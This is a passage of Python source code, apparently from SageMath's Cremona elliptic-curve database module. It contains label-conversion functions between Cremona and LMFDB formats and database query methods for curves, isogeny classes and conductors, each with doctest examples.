coefficients in the q-expansion of the\n      associated modular form.\n\n    - Curves within the same isogeny class are ordered\n      lexicographically by the a-invariants of the minimal model.\n\n    The format is <conductor>.<iso><curve>, where the isogeny class is\n    encoded using the same base-26 encoding into letters used in\n    Cremona's labels.  For example, 990.h3 is the same as Cremona's 990j1\n\n    For this function, the curve number may be omitted, in which case\n    it defaults to 1.  If the curve number and isogeny class are both\n    omitted (label is just a string representing a conductor), then\n    the isogeny class defaults to 'a' and the number to 1.\n\n    INPUT:\n\n    -  ``label`` - str\n\n    OUTPUT:\n\n    -  ``int`` - the conductor\n    -  ``str`` - the isogeny class label\n    -  ``int`` - the number\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import parse_lmfdb_label\n        sage: parse_lmfdb_label('37.a2')\n        (37, 'a', 2)\n        sage: parse_lmfdb_label('37.b')\n        (37, 'b', 1)\n        sage: parse_lmfdb_label('10.bb2')\n        (10, 'bb', 2)\n    \"\"\"\n    m = lmfdb_label_regex.match(str(label).lower())\n    if m is None:\n        raise ValueError(label + \" is not a valid LMFDB label\")\n    conductor, iso, num = m.groups()\n    if len(iso) == 0:\n        iso = \"a\"\n    if len(num) == 0:\n        num = \"1\"\n    return int(conductor), iso, int(num)\n\ndef split_code(key):\n    \"\"\"\n    Splits class+curve id string into its two parts.\n\n    EXAMPLES::\n\n        sage: import sage.databases.cremona as cremona\n        sage: cremona.split_code('ba2')\n        ('ba', '2')\n    \"\"\"\n    cu = re.split(\"[a-z]*\",key)[1]\n    cl =  re.split(\"[0-9]*\",key)[0]\n    return (cl,cu)\n\ndef class_to_int(k):\n    \"\"\"\n    Converts class id string into an integer. Note that this is the\n    inverse of cremona_letter_code.\n\n    EXAMPLES::\n\n        sage: import sage.databases.cremona as cremona\n        sage: cremona.class_to_int('ba')\n        26\n        sage: cremona.class_to_int('cremona')\n        821863562\n        sage: cremona.cremona_letter_code(821863562)\n        'cremona'\n    \"\"\"\n    kk = [string.ascii_lowercase.index(ch) for ch in list(k)]\n    kk.reverse()\n    return sum([kk[i]*26**i for i in range(len(kk))])\n\ndef cmp_code(key1,key2):\n    \"\"\"\n    Comparison function for curve id strings.\n\n    .. note::\n\n       Not the same as standard lexicographic order!\n\n    EXAMPLES::\n\n        sage: import sage.databases.cremona as cremona\n        sage: cremona.cmp_code('ba1','z1')\n        1\n\n    By contrast::\n\n        sage: cmp('ba1','z1')\n        -1\n    \"\"\"\n    cl1,cu1 = split_code(key1)\n    cl2,cu2 = split_code(key2)\n    d = class_to_int(cl1)-class_to_int(cl2)\n    if d!=0:  return d\n    return cmp(cu1,cu2)\n\ndef cremona_to_lmfdb(cremona_label, CDB=None):\n    \"\"\"\n    Converts a Cremona label into an LMFDB label.\n\n    See :func:`parse_lmfdb_label` for an explanation of LMFDB labels.\n\n    INPUT:\n\n    - ``cremona_label`` -- a string, the Cremona label of a curve.\n      This can be the label of a curve (e.g. '990j1') or of an isogeny\n      class (e.g. '990j')\n    - ``CDB`` -- the Cremona database in which to look up the isogeny\n      classes of the same conductor.\n\n    OUTPUT:\n\n    - ``lmfdb_label`` -- a string, the corresponding LMFDB label.\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import cremona_to_lmfdb, lmfdb_to_cremona\n        sage: cremona_to_lmfdb('990j1')\n        '990.h3'\n        sage: lmfdb_to_cremona('990.h3')\n        '990j1'\n\n    TESTS::\n\n        sage: for label in ['5077a1','66a3','102b','420c2']:\n        ...       assert(lmfdb_to_cremona(cremona_to_lmfdb(label)) == label)\n        sage: for label in ['438.c2','306.b','462.f3']:\n        ...       assert(cremona_to_lmfdb(lmfdb_to_cremona(label)) == label)\n    \"\"\"\n    from sage.libs.pari.all import pari\n    m = cremona_label_regex.match(cremona_label)\n    if m is None:\n        raise ValueError(\"Invalid Cremona label\")\n    N, cremona_iso, cremona_number = m.groups()\n    if CDB is None:\n        CDB = CremonaDatabase()\n    classes = CDB.isogeny_classes(N)\n    ft = int(53)\n    tff = int(255) # This should be enough to distinguish between curves (using heuristics from Sato-Tate for example)\n    isos = []\n    for i, iso in enumerate(classes):\n        alist = iso[0][0]\n        E = pari(alist).ellinit(precision=ft)\n        isos.append((E.ellan(tff, python_ints=True), cremona_letter_code(i)))\n    isos.sort()\n    sorted_letters = [iso[1] for iso in isos]\n    lmfdb_iso = cremona_letter_code(sorted_letters.index(cremona_iso))\n    if len(cremona_number) > 0:\n        iso_class = sorted([(curve[0],str(i+1)) for i,curve in enumerate(classes[class_to_int(cremona_iso)])])\n        sorted_numbers = [curve[1] for curve in iso_class]\n        lmfdb_number = str(sorted_numbers.index(cremona_number)+1)\n        return N + '.' + lmfdb_iso + lmfdb_number\n    else:\n        return N + '.' + lmfdb_iso\n\ndef lmfdb_to_cremona(lmfdb_label, CDB=None):\n    \"\"\"\n    Converts an LMFDB labe into a Cremona label.\n\n    See :func:`parse_lmfdb_label` for an explanation of LMFDB labels.\n\n    INPUT:\n\n    - ``lmfdb_label`` -- a string, the LMFDB label of a curve.\n      This can be the label of a curve (e.g. '990.j1') or of an isogeny\n      class (e.g. '990.j')\n    - ``CDB`` -- the Cremona database in which to look up the isogeny\n      classes of the same conductor.\n\n    OUTPUT:\n\n    - ``cremona_label`` -- a string, the corresponding Cremona label.\n\n    EXAMPLES::\n\n        sage: from sage.databases.cremona import cremona_to_lmfdb, lmfdb_to_cremona\n        sage: lmfdb_to_cremona('990.h3')\n        '990j1'\n        sage: cremona_to_lmfdb('990j1')\n        '990.h3'\n    \"\"\"\n    from sage.libs.pari.all import pari\n    m = lmfdb_label_regex.match(lmfdb_label)\n    if m is None:\n        raise ValueError(\"Invalid LMFDB label\")\n    N, lmfdb_iso, lmfdb_number = m.groups()\n    if CDB is None:\n        CDB = CremonaDatabase()\n    classes = CDB.isogeny_classes(N)\n    ft = int(53)\n    tff = int(255) # This should be enough to distinguish between curves (using heuristics from Sato-Tate for example)\n    isos = []\n    for i, iso in enumerate(classes):\n        alist = iso[0][0]\n        E = pari(alist).ellinit(precision=ft)\n        isos.append((E.ellan(tff, python_ints=True), cremona_letter_code(i)))\n    isos.sort()\n    cremona_iso = isos[class_to_int(lmfdb_iso)][1]\n    if len(lmfdb_number) > 0:\n        iso_class = sorted([(curve[0],i+1) for i,curve in enumerate(classes[class_to_int(cremona_iso)])])\n        cremona_number = str(iso_class[int(lmfdb_number)-1][1])\n        return N + cremona_iso + cremona_number\n    else:\n        return N + cremona_iso\n\nclass MiniCremonaDatabase(SQLDatabase):\n    \"\"\"\n    The Cremona database of elliptic curves.\n\n    EXAMPLES::\n\n        sage: c = CremonaDatabase()\n        sage: c.allcurves(11)\n        {'a1': [[0, -1, 1, -10, -20], 0, 5],\n         'a2': [[0, -1, 1, -7820, -263580], 0, 1],\n         'a3': [[0, -1, 1, 0, 0], 0, 5]}\n    \"\"\"\n    def __init__(self, name, read_only=True, build=False):\n        \"\"\"\n        Initialize the database.\n\n        TESTS::\n\n            sage: c = CremonaDatabase('cremona mini')\n            sage: c.name\n            'cremona mini'\n        \"\"\"\n        self.name = name\n        name = name.replace(' ','_')\n        db_path = os.path.join(SAGE_SHARE, 'cremona', name+'.db')\n        if build:\n            if name is None:\n                raise RuntimeError('The database must have a name.')\n            if read_only:\n                raise RuntimeError('The database must not be read_only.')\n            SQLDatabase.__init__(self, db_path, read_only=read_only, \\\n                    skeleton=_miniCremonaSkeleton)\n            return\n        if not os.path.isfile(db_path):\n            raise ValueError(\"Desired database (='%s') does not \"%self.name \\\n                    + \"exist\")\n        SQLDatabase.__init__(self, db_path, read_only=read_only)\n        if self.get_skeleton() != _miniCremonaSkeleton:\n            raise RuntimeError('Database at %s does '%(self.__dblocation__) \\\n              + 'not appear to be a valid SQL Cremona database.')\n\n    def __iter__(self):\n        \"\"\"\n        Returns an iterator through all EllipticCurve objects in the\n        Cremona database.\n\n        TESTS::\n\n            sage: it = CremonaDatabase().__iter__()\n            sage: next(it).label()\n            '11a1'\n            sage: next(it).label()\n            '11a2'\n            sage: next(it).label()\n            '11a3'\n            sage: next(it).label()\n            '14a1'\n            sage: skip = [next(it) for _ in range(100)]\n            sage: next(it).label()\n            '45a3'\n        \"\"\"\n        query = \"SELECT curve FROM t_curve,t_class USING(class) ORDER BY conductor\"\n        for c in self.__connection__.cursor().execute(query):\n            yield self.elliptic_curve(c[0])\n\n    def __getitem__(self, N):\n        \"\"\"\n        If N is an integer, return all data about level N in the database.\n        If N is a string it must be a Cremona label, in which case return\n        the corresponding elliptic curve, if it is in the database.\n\n        INPUT:\n\n        -  ``N`` - int or str\n\n        OUTPUT: dict (if N is an int) or EllipticCurve (if N is a str)\n\n        TESTS::\n\n            sage: c = CremonaDatabase()\n            sage: c[11]['allcurves']['a2']\n            [[0, -1, 1, -7820, -263580], 0, 1]\n            sage: c['11a2']\n            Elliptic Curve defined by y^2 + y = x^3 - x^2 - 7820*x - 263580 over Rational Field\n        \"\"\"\n        if isinstance(N, str):\n            return self.elliptic_curve(N)\n\n        try:\n            N = int(N)\n        except ValueError:\n            raise KeyError(\"N (=%s) must be a string or positive integer.\"%N)\n\n        if N <= 0:\n            raise KeyError(\"N (=%s) must be a string or positive integer.\"%N)\n\n        ret = {'allcurves': self.allcurves(N)}\n        if hasattr(self, 'allbsd'):\n            ret['allbsd'] = self.allbsd(N)\n        if hasattr(self, 'degphi'):\n            ret['degphi'] = self.degphi(N)\n        if hasattr(self, 'allgens'):\n            ret['allgens'] = self.allgens(N)\n        return ret\n\n    def __repr__(self):\n        \"\"\"\n        String representation of this database.\n\n        TESTS::\n\n            sage: c = CremonaDatabase('cremona mini')\n            sage: c.__repr__()\n            \"Cremona's database of elliptic curves with conductor at most 9999\"\n        \"\"\"\n        return \"Cremona's database of elliptic curves with conductor at most \"\\\n            + str(self.largest_conductor())\n\n    def allcurves(self, N):\n        \"\"\"\n        Returns the allcurves table of curves of conductor N.\n\n        INPUT:\n\n        -  ``N`` - int, the conductor\n\n        OUTPUT:\n\n        -  ``dict`` - id:[ainvs, rank, tor], ...\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.allcurves(11)['a3']\n            [[0, -1, 1, 0, 0], 0, 5]\n            sage: c.allcurves(12)\n            {}\n            sage: c.allcurves(12001)['a1']   # optional - database_cremona_ellcurve\n            [[1, 0, 0, -101, 382], 1, 1]\n        \"\"\"\n        ret = {}\n        for c in self.__connection__.cursor().execute('SELECT curve,eqn,' \\\n            + 'rank,tors FROM t_curve,t_class USING(class) WHERE ' \\\n            + 'conductor=?',(int(N),)):\n            N,iso,num = parse_cremona_label(c[0])\n            ret[iso+str(num)] = [eval(c[1]),c[2],c[3]]\n        return ret\n\n    def curves(self, N):\n        \"\"\"\n        Returns the curves table of all *optimal* curves of conductor N.\n\n        INPUT:\n\n        -  ``N`` - int, the conductor\n\n        OUTPUT:\n\n        -  ``dict`` - id:[ainvs, rank, tor], ...\n\n        EXAMPLES:\n\n        Optimal curves of conductor 37::\n\n            sage: CremonaDatabase().curves(37)\n            {'a1': [[0, 0, 1, -1, 0], 1, 1], 'b1': [[0, 1, 1, -23, -50], 0, 3]}\n\n        Note the 'h3', which is the unique case in the tables where\n        the optimal curve doesn't have label ending in 1::\n\n            sage: list(sorted(CremonaDatabase().curves(990).keys()))\n            ['a1', 'b1', 'c1', 'd1', 'e1', 'f1', 'g1', 'h3', 'i1', 'j1', 'k1', 'l1']\n\n        TESTS::\n\n            sage: c = CremonaDatabase()\n            sage: c.curves(12001)['a1']   # optional - database_cremona_ellcurve\n            [[1, 0, 0, -101, 382], 1, 1]\n        \"\"\"\n        ret = {}\n        for c in self.__connection__.cursor().execute('SELECT curve,eqn,' \\\n            + 'rank,tors FROM t_curve,t_class USING(class) WHERE ' \\\n            + 'curve=class||1 AND conductor=?',(int(N),)):\n            N,iso,num = parse_cremona_label(c[0])\n            ret[iso+str(num)] = [eval(c[1]),c[2],c[3]]\n        if N == 990:\n            del ret['h1']\n            ret['h3'] = [[1,-1,1,-1568,-4669],int(1),int(6)]\n        return ret\n\n    def coefficients_and_data(self, label):\n        \"\"\"\n        Return the Weierstrass coefficients and other data for the\n        curve with given label.\n\n        EXAMPLES::\n\n            sage: c, d = CremonaDatabase().coefficients_and_data('144b1')\n            sage: c\n            [0, 0, 0, 6, 7]\n            sage: d['conductor']\n            144\n            sage: d['cremona_label']\n            '144b1'\n            sage: d['rank']\n            0\n            sage: d['torsion_order']\n            2\n\n        Check that :trac:`17904` is fixed::\n\n            sage: 'gens' in CremonaDatabase().coefficients_and_data('100467a2')[1] # optional - database_cremona_ellcurve\n            True\n\n\n        \"\"\"\n        # There are two possible strings: the Cremona label and the LMFDB label.\n        # They are distinguished by the presence of a period.\n        if label.find('.') == -1:\n            cremona_label = label\n            lmfdb_label = None\n        else:\n            cremona_label = lmfdb_to_cremona(label)\n            lmfdb_label = label\n\n        N, iso, num = parse_cremona_label(cremona_label)\n        label = str(N)+iso+str(num)\n        if self.get_skeleton() == _miniCremonaSkeleton:\n            q = self.__connection__.cursor().execute(\"SELECT eqn,rank,tors \" \\\n                + 'FROM t_curve,t_class USING(class) WHERE curve=?', (label,))\n        else:\n            q = self.__connection__.cursor().execute(\"SELECT eqn,rank,tors,\" \\\n                + \"deg,gens,cp,om,L,reg,sha FROM t_curve,t_class \" \\\n                + \"USING(class) WHERE curve=?\",(label,))\n        try:\n            c = next(q)\n        except StopIteration:\n            if N < self.largest_conductor():\n                message = \"There is no elliptic curve with label \" + label \\\n                    + \" in the database\"\n            elif is_package_installed('database_cremona_ellcurve'):\n                message = \"There is no elliptic curve with label \" + label \\\n                    + \" in the currently available databases\"\n            else:\n                message = \"There is no elliptic curve with label \" \\\n                    + label + \" in the default database; try installing \" \\\n                    + \"the optional package database_cremona_ellcurve which \" \\\n                    + \"contains the complete Cremona database\"\n            raise ValueError(message)\n        ainvs = eval(c[0])\n        data = {'cremona_label': label,\n                'rank': c[1],\n                'torsion_order': c[2],\n                'conductor': N}\n        if lmfdb_label:\n            data['lmfdb_label'] = lmfdb_label\n        if len(c) > 3:\n            data['modular_degree'] = (c[3])\n            data['gens'] = eval(c[4])\n            data['db_extra'] = list(c[5:])\n        return ainvs, data\n\n    def data_from_coefficients(self, ainvs):\n        \"\"\"\n        Return elliptic curve data for the curve with given\n        Weierstrass coefficients.\n\n        EXAMPLES::\n\n            sage: d = CremonaDatabase().data_from_coefficients([1, -1, 1, 31, 128])\n            sage: d['conductor']\n            1953\n            sage: d['cremona_label']\n            '1953c1'\n            sage: d['rank']\n            1\n            sage: d['torsion_order']\n            2\n\n        Check that :trac:`17904` is fixed::\n\n            sage: ai = EllipticCurve('100467a2').ainvs() # optional - database_cremona_ellcurve\n            sage: 'gens' in CremonaDatabase().data_from_coefficients(ai) # optional - database_cremona_ellcurve\n            True\n        \"\"\"\n        ainvs = str(list(ainvs))\n        if self.get_skeleton() == _miniCremonaSkeleton:\n            q = self.__connection__.cursor().execute(\"SELECT curve,rank,tors \"\n                + 'FROM t_curve,t_class USING(class) WHERE eqn=?',\n                (ainvs.replace(' ', ''),))\n        else:\n            q = self.__connection__.cursor().execute(\"SELECT curve,rank,tors,\"\n                + \"deg,gens,cp,om,L,reg,sha FROM t_curve,t_class \"\n                + \"USING(class) WHERE eqn=?\",\n                (ainvs.replace(' ', ''),))\n        try:\n            c = next(q)\n        except StopIteration:\n            raise RuntimeError(\"There is no elliptic curve with coefficients \"\n                               + ainvs + \" in the database\")\n        label = str(c[0])\n        N, iso, num = parse_cremona_label(label)\n        data = {'cremona_label': label,\n                'rank': c[1],\n                'torsion_order': c[2],\n                'conductor': N}\n        if len(c) > 3:\n            data['modular_degree'] = (c[3])\n            data['gens'] = eval(c[4])\n            data['db_extra'] = list(c[5:])\n        return data\n\n    def elliptic_curve_from_ainvs(self, ainvs):\n        \"\"\"\n        Returns the elliptic curve in the database of with minimal\n        ainvs, if it exists, or raises a RuntimeError exception\n        otherwise.\n\n        INPUT:\n\n        -  ``ainvs`` - list (5-tuple of int's); the minimal\n           Weierstrass model for an elliptic curve\n\n        OUTPUT: EllipticCurve\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.elliptic_curve_from_ainvs([0, -1, 1, -10, -20])\n            Elliptic Curve defined by y^2 + y = x^3 - x^2 - 10*x - 20 over Rational Field\n            sage: c.elliptic_curve_from_ainvs([1, 0, 0, -101, 382])  # optional - database_cremona_ellcurve\n            Elliptic Curve defined by y^2 + x*y = x^3 - 101*x + 382 over Rational Field\n\n        Old (pre-2006) Cremona labels are also allowed::\n\n            sage: c.elliptic_curve('9450KKKK1')\n            Elliptic Curve defined by y^2 + x*y + y = x^3 - x^2 - 5*x + 7 over Rational Field\n\n        Make sure :trac:`12565` is fixed::\n\n            sage: c.elliptic_curve('10a1')\n            Traceback (most recent call last):\n            ...\n            ValueError: There is no elliptic curve with label 10a1 in the database\n        \"\"\"\n        data = self.data_from_coefficients(ainvs)\n        return elliptic.EllipticCurve(ainvs, **data)\n\n    def elliptic_curve(self, label):\n        \"\"\"\n        Return an elliptic curve with given label with some data about it\n        from the database pre-filled in.\n\n        INPUT:\n\n        -  ``label`` - str (Cremona or LMFDB label)\n\n        OUTPUT:\n\n        - an :class:`sage.schemes.elliptic_curves.ell_rational_field.EllipticCurve_rational_field`\n\n        .. note::\n\n            For more details on LMFDB labels see :func:`parse_lmfdb_label`.\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.elliptic_curve('11a1')\n            Elliptic Curve defined by y^2 + y = x^3 - x^2 - 10*x - 20 over Rational Field\n            sage: c.elliptic_curve('12001a1')    # optional - database_cremona_ellcurve\n            Elliptic Curve defined by y^2 + x*y = x^3 - 101*x + 382 over Rational Field\n            sage: c.elliptic_curve('48c1')\n            Traceback (most recent call last):\n            ...\n            ValueError: There is no elliptic curve with label 48c1 in the database\n\n        You can also use LMFDB labels::\n\n            sage: c.elliptic_curve('462.f3')\n            Elliptic Curve defined by y^2 + x*y = x^3 - 363*x + 1305 over Rational Field\n        \"\"\"\n        ainvs, data = self.coefficients_and_data(label)\n        return elliptic.EllipticCurve(ainvs, **data)\n\n    def iter(self, conductors):\n        \"\"\"\n        Return an iterator through all curves in the database with given\n        conductors.\n\n        INPUT:\n\n        -  ``conductors`` - list or generator of ints\n\n        OUTPUT: generator that iterates over EllipticCurve objects.\n\n        EXAMPLES::\n\n            sage: [e.cremona_label() for e in CremonaDatabase().iter([11..15])]\n            ['11a1', '11a2', '11a3', '14a1', '14a2', '14a3', '14a4', '14a5',\n             '14a6', '15a1', '15a2', '15a3', '15a4', '15a5', '15a6', '15a7', '15a8']\n        \"\"\"\n        for N in conductors:\n            for c in self.__connection__.cursor().execute('SELECT curve ' \\\n                + 'FROM t_curve,t_class USING(class) WHERE conductor=?', \\\n                (int(N),)):\n                yield self.elliptic_curve(c[0])\n\n    def isogeny_classes(self, conductor):\n        \"\"\"\n        Return the allcurves data (ainvariants, rank and torsion) for the\n        elliptic curves in the database of given conductor as a list of\n        lists, one for each isogeny class. The curve with number 1 is\n        always listed first.\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.isogeny_classes(11)\n            [[[[0, -1, 1, -10, -20], 0, 5],\n             [[0, -1, 1, -7820, -263580], 0, 1],\n             [[0, -1, 1, 0, 0], 0, 5]]]\n            sage: c.isogeny_classes(12001)   # optional - database_cremona_ellcurve\n            [[[[1, 0, 0, -101, 382], 1, 1]],\n             [[[0, 0, 1, -247, 1494], 1, 1]],\n             [[[0, 0, 1, -4, -18], 1, 1]],\n             [[[0, 1, 1, -10, 18], 1, 1]]]\n        \"\"\"\n        conductor=int(conductor)\n        classes = []\n        A = self.allcurves(conductor)\n        K = A.keys()\n        K.sort(cmp_code)\n        for k in K:\n            v = A[k]\n            # test if not first curve in class\n            if not (k[-1] == '1' and k[-2].isalpha()):\n                classes[len(classes)-1].append(v)\n            else:\n                classes.append([v])\n        return classes\n\n    def isogeny_class(self, label):\n        \"\"\"\n        Returns the isogeny class of elliptic curves that are\n        isogenous to the curve with given Cremona label.\n\n        INPUT:\n\n        -  ``label`` - string\n\n        OUTPUT:\n\n        -  ``list`` - list of EllipticCurve objects.\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.isogeny_class('11a1')\n            [Elliptic Curve defined by y^2 + y = x^3 - x^2 - 10*x - 20 over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 - x^2 - 7820*x - 263580 over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 - x^2 over Rational Field]\n            sage: c.isogeny_class('12001a1')   # optional - database_cremona_ellcurve\n            [Elliptic Curve defined by y^2 + x*y = x^3 - 101*x + 382 over Rational Field]\n        \"\"\"\n        conductor,iso,num=parse_cremona_label(label)\n        q = self.__connection__.cursor().execute(\"SELECT curve FROM t_curve \" \\\n            + \"WHERE class=?\",(str(conductor)+iso,))\n        return [self.elliptic_curve(c[0]) for c in q]\n\n    def iter_optimal(self, conductors):\n        \"\"\"\n        Return an iterator through all optimal curves in the database with given conductors.\n\n        INPUT:\n\n        - ``conductors`` - list or generator of ints\n\n        OUTPUT:\n\n        generator that iterates over EllipticCurve objects.\n\n        EXAMPLES:\n\n        We list optimal curves with conductor up to 20::\n\n            sage: [e.cremona_label() for e in CremonaDatabase().iter_optimal([11..20])]\n            ['11a1', '14a1', '15a1', '17a1', '19a1', '20a1']\n\n        Note the unfortunate 990h3 special case::\n\n            sage: [e.cremona_label() for e in CremonaDatabase().iter_optimal([990])]\n            ['990a1', '990b1', '990c1', '990d1', '990e1', '990f1', '990g1', '990h3', '990i1', '990j1', '990k1', '990l1']\n        \"\"\"\n        for N in conductors:\n            if N == 990:\n                for c in self.__connection__.cursor().execute('SELECT class ' \\\n                    + 'FROM t_class WHERE conductor=990'):\n                    if c[0][-1] == u'h':\n                        yield self.elliptic_curve(c[0]+u'3')\n                    else:\n                        yield self.elliptic_curve(c[0]+u'1')\n                continue\n            for c in self.__connection__.cursor().execute('SELECT curve ' \\\n                + 'FROM t_curve,t_class USING(class) WHERE curve=class||1 ' \\\n                + 'AND conductor=?',(int(N),)):\n                yield self.elliptic_curve(c[0])\n\n    def list(self, conductors):\n        \"\"\"\n        Returns a list of all curves with given conductors.\n\n        INPUT:\n\n        - ``conductors`` - list or generator of ints\n\n        OUTPUT:\n\n        - list of EllipticCurve objects.\n\n        EXAMPLES::\n\n            sage: CremonaDatabase().list([37])\n            [Elliptic Curve defined by y^2 + y = x^3 - x over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 + x^2 - 23*x - 50 over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 + x^2 - 1873*x - 31833 over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 + x^2 - 3*x + 1 over Rational Field]\n        \"\"\"\n        return list(self.iter(conductors))\n\n    def list_optimal(self, conductors):\n        \"\"\"\n        Returns a list of all optimal curves with given conductors.\n\n        INPUT:\n\n        -  ``conductors`` - list or generator of ints\n            list of EllipticCurve objects.\n\n        OUTPUT:\n\n        list of EllipticCurve objects.\n\n        EXAMPLES::\n\n            sage: CremonaDatabase().list_optimal([37])\n            [Elliptic Curve defined by y^2 + y = x^3 - x over Rational Field,\n             Elliptic Curve defined by y^2 + y = x^3 + x^2 - 23*x - 50 over Rational Field]\n        \"\"\"\n        return list(self.iter_optimal(conductors))\n\n    def largest_conductor(self):\n        \"\"\"\n        The largest conductor for which the database is complete.\n\n        OUTPUT:\n\n        -  ``int`` - largest conductor\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase('cremona mini')\n            sage: c.largest_conductor()\n            9999\n        \"\"\"\n        if hasattr(self, '__largest_conductor__'):\n            return self.__largest_conductor__\n        #print \"Computing largest conductor.\"\n        q = self.__connection__.cursor().execute('SELECT conductor FROM ' \\\n            + 't_class ORDER BY conductor DESC LIMIT 1')\n        self.__largest_conductor__ = next(q)[0]\n        return self.__largest_conductor__\n\n    def smallest_conductor(self):\n        \"\"\"\n        The smallest conductor for which the database is complete: always 1.\n\n        OUTPUT:\n\n        -  ``int`` - smallest conductor\n\n        .. note::\n\n           This always returns the integer 1, since that is the\n           smallest conductor for which the database is complete,\n           although there are no elliptic curves of conductor 1.  The\n           smallest conductor of a curve in the database is 11.\n\n        EXAMPLES::\n\n            sage: CremonaDatabase().smallest_conductor()\n            1\n        \"\"\"\n        return 1\n\n    def conductor_range(self):\n        \"\"\"\n        Return the range of conductors that are covered by the database.\n\n        OUTPUT: tuple of ints (N1,N2+1) where N1 is the smallest and\n        N2 the largest conductor for which the database is complete.\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase('cremona mini')\n            sage: c.conductor_range()\n            (1, 10000)\n        \"\"\"\n        return 1, self.largest_conductor()+1\n\n    def number_of_curves(self,  N=0, i=0):\n        \"\"\"\n        Returns the number of curves stored in the database with conductor\n        N. If N = 0, returns the total number of curves in the database.\n\n        If i is nonzero, returns the number of curves in the i-th isogeny\n        class. If i is a Cremona letter code, e.g., 'a' or 'bc', it is\n        converted to the corresponding number.\n\n        INPUT:\n\n        -  ``N`` - int\n        -  ``i`` - int or str\n\n        OUTPUT: int\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.number_of_curves(11)\n            3\n            sage: c.number_of_curves(37)\n            4\n            sage: c.number_of_curves(990)\n            42\n            sage: num = c.number_of_curves()\n        \"\"\"\n        if N == 0:\n            if hasattr(self, '__number_of_curves__'):\n                return self.__number_of_curves__\n            q = self.__connection__.cursor().execute('SELECT COUNT(curve) ' \\\n                + 'FROM t_curve')\n            self.__number_of_curves__ = next(q)[0]\n            return self.__number_of_curves__\n        if i == 0:\n            q = self.__connection__.cursor().execute('SELECT COUNT(curve) ' \\\n                + 'FROM t_curve,t_class USING(class) WHERE conductor=?', \\\n                (int(N),))\n            return next(q)[0]\n        if not isinstance(i, str):\n            i = cremona_letter_code(i)\n        q = self.__connection__.cursor().execute('SELECT COUNT(curve) FROM ' \\\n            + 't_curve WHERE class=?',(str(N)+i,))\n        return next(q)[0]\n\n    def number_of_isogeny_classes(self, N=0):\n        \"\"\"\n        Returns the number of isogeny classes of curves in the database of\n        conductor N. If N is 0, return the total number of isogeny classes\n        of curves in the database.\n\n        INPUT:\n\n        -  ``N`` - int\n\n        OUTPUT: int\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.number_of_isogeny_classes(11)\n            1\n            sage: c.number_of_isogeny_classes(37)\n            2\n            sage: num = c.number_of_isogeny_classes()\n        \"\"\"\n        if N == 0:\n            if hasattr(self, '__number_of_isogeny_classes__'):\n                return self.__number_of_isogeny_classes__\n            q = self.__connection__.cursor().execute('SELECT COUNT(class) ' \\\n                + 'FROM t_class')\n            self.__number_of_isogeny_classes__ = next(q)[0]\n            return self.__number_of_isogeny_classes__\n        q = self.__connection__.cursor().execute('SELECT COUNT(class) FROM ' \\\n            + 't_class WHERE conductor=?',(int(N),))\n        return next(q)[0]\n\n    def random(self):\n        \"\"\"\n        Returns a random curve from the database.\n\n        EXAMPLES::\n\n            sage: CremonaDatabase().random() # random -- depends on database installed\n            Elliptic Curve defined by y^2 + x*y  = x^3 - x^2 - 224*x + 3072 over Rational Field\n        \"\"\"\n        N = randint(11, self.largest_conductor())\n        q = self.__connection__.cursor().execute('SELECT conductor FROM ' \\\n            + 't_class WHERE conductor>=? ORDER BY conductor',(int(N),))\n        try:\n            N = next(q)[0]\n        except StopIteration:\n            N = 11\n        iso = randint(0, self.number_of_isogeny_classes(N)-1)\n        iso = cremona_letter_code(iso)\n        num = randint(1, self.number_of_curves(N,iso))\n        return self.elliptic_curve(str(N)+iso+str(num))\n\n    ###############################################################################\n    # Functions for loading data from Cremona's ftpdata directory.\n    ###############################################################################\n    def _init_from_ftpdata(self, ftpdata, largest_conductor=0):\n        \"\"\"\n        Create the SQL Cremona Database from the Cremona data directory,\n        which is available from Cremona's website. I.e., just wget\n        Cremona's database to a local directory.\n\n        To create the large database from Cremona's text files, see\n        sage.databases.cremona.build, do NOT run this method directly.\n\n        EXAMPLES::\n\n            sage: d = sage.databases.cremona.MiniCremonaDatabase(name='cremona', read_only=False, rebuild=True)   # not tested\n            sage: d._init_from_ftpdata('.')     # not tested\n        \"\"\"\n        if self.__read_only__:\n            raise RuntimeError(\"The database must not be read_only.\")\n\n        if not os.path.exists(ftpdata):\n            raise RuntimeError(\"The cremona ftpdata directory '\" + ftpdata \\\n                + \"' does not exist.\")\n\n        if largest_conductor:\n            print(\"largest conductor =\", largest_conductor)\n            self.__largest_conductor__ =  largest_conductor\n\n        # Since July 2014 the data files have been arranged in\n        # subdirectories (see trac #16903).\n        allcurves_dir = os.path.join(ftpdata,'allcurves')\n        allbsd_dir = os.path.join(ftpdata,'allbsd')\n        allgens_dir = os.path.join(ftpdata,'allgens')\n        degphi_dir = os.path.join(ftpdata,'degphi')\n        num_curves, num_iso_classes = self._init_allcurves(allcurves_dir, largest_conductor)\n        self.__number_of_curves__ = num_curves\n        self.__number_of_isogeny_classes__ = num_iso_classes\n        if hasattr(self, 'degphi'):\n            self._init_degphi(degphi_dir, largest_conductor)\n        if hasattr(self, 'allbsd'):\n            self._init_allbsd(allbsd_dir, largest_conductor)\n        if hasattr(self, 'allgens'):\n            self._init_allgens(allgens_dir, largest_conductor)\n        self.vacuum()\n\n    def _init_allcurves(self, ftpdata, largest_conductor=0):\n        \"\"\"\n        Initialize the allcurves table by reading the corresponding ftpdata\n        files and importing them into the database.\n\n        To create the large database from Cremona's text files, see\n        sage.databases.cremona.build, do NOT run this method directly.\n\n        INPUT:\n\n        - `ftpdata` (string) -- the name of the directory in which the data is\n\n        -  ``largest_conductor`` - int (default: 0), if 0,\n           